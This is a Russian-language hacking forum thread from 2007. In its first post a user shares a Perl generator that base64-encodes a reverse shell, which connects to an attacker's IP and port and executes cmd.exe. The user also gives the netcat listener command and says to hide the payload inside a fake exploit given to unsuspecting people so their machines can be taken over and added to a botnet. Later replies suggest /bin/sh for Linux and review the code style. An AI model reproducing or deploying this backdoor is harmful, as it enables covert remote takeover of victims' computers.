ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Заценяем релизик...
  #1  
Старый 06.03.2007, 15:39
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559

Репутация: 2947


По умолчанию Заценяем релизик...

Недавно начал учить перл я, в конечном итоге написал такой релизик...

Сообственно в основе лежит простейший back-connect shell...

Используя NetCat открываем у себя порт например 9999
nc.exe -lvvp 9999

Запускаем скрипт.. и следуем USAGE:

[Parameters] : X:\name.pl IP PORT file
[Example] : X:\name.pl 127.0.0.1 9999 exploit.pl


Передаём все параметры через коммандую строку нашему файлу...

Указываем свой IP адресс и порт.. далее файл в котором сохранится наш скрипт..
а сохраниться он в base64 ... (менее заметно.. и компактней)

Далее втыкаем этот скриптик в любой exploit.. и разумеется даём.. скрипт киддису который упорно просит вас похекать какойнить форум... etc

И.... о .. чудо... вы получили доступ к его cmd, а от cmd и до ftp недолеко...
а там и пополнить ботнет недолго =)...

P.S
Как я и говорил... это не супер релиз а релизик...
и что скрипт работает "без палева" тож трудно сказать...
вообщем юзаем отписываемся...



PHP код:
#!/usr/bin/perl 

## C0d3d by slider 
## Backdoor Reverse-Shell v1.3
## http://antichat.ru
  
if (@ARGV!=3

print 
"\n" '~' x 56 "\n";
print 
"Backdoor Reverse-Shell \n\n"
print 
"\n" '~' x 56 "\n";
print 
"---USAGE:" .'-' x 47 ."\n\n";  
print 
"[Parameters] : $0 IP PORT file  \n";  
print 
"[Example] : $0 127.0.0.1 9999 exploit.pl \n\n";  
print 
'-' x 56 "\n";
die(
"\n"); 


print 
"---USAGE:" .'-' x 47 ."\n\n";  
print 
"[Parameters] : $0 IP PORT file  \n";  
print 
"[Example] : $0 127.0.0.1 9999 exploit.pl \n\n";  
print 
'~' x 56 "\n";

$IP=@ARGV[0]; 
$PORT=@ARGV[1]; 
$NAME=@ARGV[2]; 
$TEXT

"open logg,\">expl~1.tmp\";"
"print logg \"use IO::Socket;\";"
"print logg \"use Socket; use FileHandle;\";"
"print logg \"socket(SOCKET,PF_INET,SOCK_STREAM, getprotobyname('tcp'));\";"
"print logg \"connect(SOCKET, sockaddr_in('$PORT',inet_aton('$IP')));\";"
"print logg \"SOCKET->autoflush();\";"
"print logg \"open(STDIN,'>&SOCKET');\";"
"print logg \"open(STDOUT,'>&SOCKET');\";"
"print logg \"open(STDERR,'>&SOCKET');\";"
"print logg \"exec('cmd.exe');\";"
"close logg;"

use 
MIME::Base64

$encoded encode_base64($TEXT); 
print 
"[*] Injecting...\n"

open base64,">$NAME"
print 
base64 "\$payload='$encoded';"
print 
base64 "use MIME::Base64;"
print 
base64 "\$decoded = decode_base64(\$payload);"
print 
base64 "eval(\$decoded);"
print 
base64 "system(\'start perl expl~1.tmp\');"
print 
base64 "system(\'del expl~1.tmp\');"
close base64
print 
"[*] OK...\n\n"

print 
"$encoded"
ОБНОВЛЕНО ДО v1.3

Последний раз редактировалось slider; 11.04.2007 в 14:28.. Причина: обновление
 
Ответить с цитированием

  #2  
Старый 06.03.2007, 16:07
Helios
Постоянный
Регистрация: 14.01.2007
Сообщений: 459
Провел на форуме:
1469995

Репутация: 589
Отправить сообщение для Helios с помощью ICQ
По умолчанию

Ты одного не учел: а вдруг он из линуха сплойтенг запускать будет?
 
Ответить с цитированием

  #3  
Старый 06.03.2007, 16:10
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559

Репутация: 2947


По умолчанию

Подстраивал под винду... и на ней же тестил...
т.к небыло возможности работать в никсах... можно конешн
изменить cmd.exe на /bin/sh
+ кой какие мелочи..
но нормально протестить я б несмог усё равно...
 
Ответить с цитированием

  #4  
Старый 06.03.2007, 16:32
Digimortal
Banned
Регистрация: 22.08.2006
Сообщений: 608
Провел на форуме:
6144796

Репутация: 1095


По умолчанию

перл-коденг на троечку.. замечания:
1) зачем стока ненужных принтов??
2) юзайте " когда это действительно надо, а не заместо ' , а еще есть qw..
3) my ($IP, $PORT, $NAME)=@ARGV; # кстати, правильнее элементы массива писать $ARGV[1], а не @ARGV[1]
4) юзайте -w
5) my - тоже полезная штука...

за идею - плюсег )..

Последний раз редактировалось Digimortal; 06.03.2007 в 16:47..
 
Ответить с цитированием

  #5  
Старый 06.03.2007, 16:35
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559

Репутация: 2947


По умолчанию

оппа... спасиб... незнал... учту.. исправлюсь...
 
Ответить с цитированием

  #6  
Старый 06.03.2007, 18:06
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076

Репутация: 4303


По умолчанию

Столько принтов конечно не нужно. толку от них?
Идея не нова, т к такие скрипты уже есть. Но за то что начал учить Перл и сделал что то работующее =))) тебе +
 
Ответить с цитированием

  #7  
Старый 06.03.2007, 18:46
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию

Главное начало положено, дальше главное не отступать =)
Удачи.
 
Ответить с цитированием

  #8  
Старый 06.03.2007, 19:07
slider
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
Провел на форуме:
6520559

Репутация: 2947


По умолчанию

Спасибо за поддержку =)
 
Ответить с цитированием

  #9  
Старый 06.03.2007, 19:15
nc.STRIEM
Members of Antichat - Level 5
Регистрация: 05.04.2006
Сообщений: 1,066
Провел на форуме:
3493315

Репутация: 1228


Отправить сообщение для nc.STRIEM с помощью ICQ
По умолчанию

perl умирает. учи python!
 
Ответить с цитированием

  #10  
Старый 06.03.2007, 22:09
genom--
Постоянный
Регистрация: 09.07.2006
Сообщений: 937
Провел на форуме:
1948091

Репутация: 1686


По умолчанию

Цитата:
Сообщение от nc.STRIEM  
perl умирает. учи python!
отвечу цитатой одного чела которого вы узнаете "а вы все наркоманы"

пока его кто-то учит он жив
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ